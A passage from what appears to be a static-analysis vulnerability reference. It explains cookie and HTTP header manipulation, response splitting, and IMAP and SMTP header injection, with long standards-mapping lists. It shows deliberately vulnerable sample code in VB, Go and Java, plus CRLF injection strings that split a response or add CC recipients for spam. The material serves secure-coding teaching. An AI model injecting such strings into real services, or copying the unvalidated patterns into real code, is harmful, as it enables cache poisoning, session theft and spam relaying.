[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.python.header_manipulation
Abstract
Including unvalidated data in Cookies can lead to HTTP Response header manipulation and enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Cookie Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP cookie sent to a web user without being validated.

As with many software security vulnerabilities, cookie manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP cookie.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Being an HTTP Response header, cookie manipulation attacks can also lead to other types of attacks like:

HTTP Response Splitting:
One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.scala.header_manipulation_cookies
Abstract
Including unvalidated data in Cookies can lead to HTTP Response header manipulation and enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Cookie Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP cookie sent to a web user without being validated.

As with many software security vulnerabilities, cookie manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP cookie.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Being an HTTP Response header, Cookie manipulation attacks can also lead to other types of attacks like:

HTTP Response Splitting:
One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.vb.header_manipulation_cookies
Abstract
The target application unsafely constructs and saves an email over the Internet Message Access Protocol (IMAP), potentially allowing for an injection attack.
Explanation
The Internet Message Access Protocol (IMAP) is used to retreive emails from an authenticated mailbox. An extension of this protocol allows an application to construct emails and upload them to an authenticated mailbox (e.g. the Drafts folder), and later send them using the Simple Mail Transfer Protocol (SMTP). In this scenario, if unvalidated user input is passed to certain IMAP functions, it may be possible to inject information into email headers. An attacker can use this vulnerability to inject additional recipients for an email (via the addition of Carriage-Return and Line-Feed (CRLF) characters), allowing the target application to be used to send spam emails that cannot easily be traced back to the attacker.
References
[1] IMAPProtocol (JavaMail API Documentation) Carnegie Mellon University
[2] Email Header Injection Security Cake Solutions
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 93
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[23] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dynamic.xtended_preview.header_manipulation_imap
Abstract
Including unvalidated data in an SMTP header can enable attackers to add arbitrary headers, such as CC or BCC that they can use to leak the mail contents to themselves or use the mail server as a spam bot.
Explanation
SMTP Header Manipulation vulnerabilities occur when:

1. Data enters an application through an untrusted source, most frequently an HTTP request in a web application.

2. The data is included in an SMTP header sent to a mail server without validation.

As with many software security vulnerabilities, SMTP Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an SMTP header.

One of the most common SMTP Header Manipulation attacks is to distribute spam emails. If an application contains a vulnerable "Contact us" form that allows setting the subject and the body of the email, an attacker can set any arbitrary content and inject a CC header with a list of email addresses to spam anonymously because the email is sent from the victim's server.

Example: The following code segment reads the subject and body of a "Contact us" form:


func handler(w http.ResponseWriter, r *http.Request) {
subject := r.FormValue("subject")
body := r.FormValue("body")
auth := smtp.PlainAuth("identity", "user@example.com", "password", "mail.example.com")
to := []string{"recipient@example.net"}
msg := []byte("To: " + recipient1 + "\r\n" + subject + "\r\n" + body + "\r\n")
err := smtp.SendMail("mail.example.com:25", auth, "sender@example.org", to, msg)
if err != nil {
log.Fatal(err)
}
}


Assuming a string consisting of standard alphanumeric characters, such as "Page not working" is submitted in the request, the SMTP headers might take the following form:


...
subject: [Contact us query] Page not working
...


However, because the value of the header is constructed from unvalidated user input the response only maintains this form if the value submitted for subject does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Congratulations!! You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", then the SMTP headers would be of the following form:


...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...


This effectively enables an attacker to craft spam messages or to send anonymous emails amongst other attacks.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 93
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[16] Standards Mapping - OWASP Top 10 2010 A1 Injection
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - OWASP Top 10 2017 A1 Injection
[19] Standards Mapping - OWASP Top 10 2021 A03 Injection
[20] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.golang.header_manipulation_smtp
Abstract
Including unvalidated data in an SMTP header can enable attackers to add arbitrary headers, such as CC or BCC that they can use to leak the mail contents to themselves or use the mail server as a spam bot.
Explanation
SMTP Header Manipulation vulnerabilities occur when:

1. Data enters an application through an untrusted source, most frequently an HTTP request in a web application.

2. The data is included in an SMTP header sent to a mail server without being validated.

As with many software security vulnerabilities, SMTP Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an SMTP header.

One of the most common SMTP Header Manipulation attacks is used for distributing spam emails. If an application contains a vulnerable "Contact us" form that allows setting the subject and the body of the email, an attacker will be able to set any arbitrary content and inject a CC header with a list of email addresses to spam anonymously since the email will be sent from the victim server.

Example: The following code segment reads the subject and body of a "Contact us" form:


String subject = request.getParameter("subject");
String body = request.getParameter("body");
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress("webform@acme.com"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("support@acme.com"));
message.setSubject("[Contact us query] " + subject);
message.setText(body);
Transport.send(message);


Assuming a string consisting of standard alphanumeric characters, such as "Page not working" is submitted in the request, the SMTP headers might take the following form:


...
subject: [Contact us query] Page not working
...


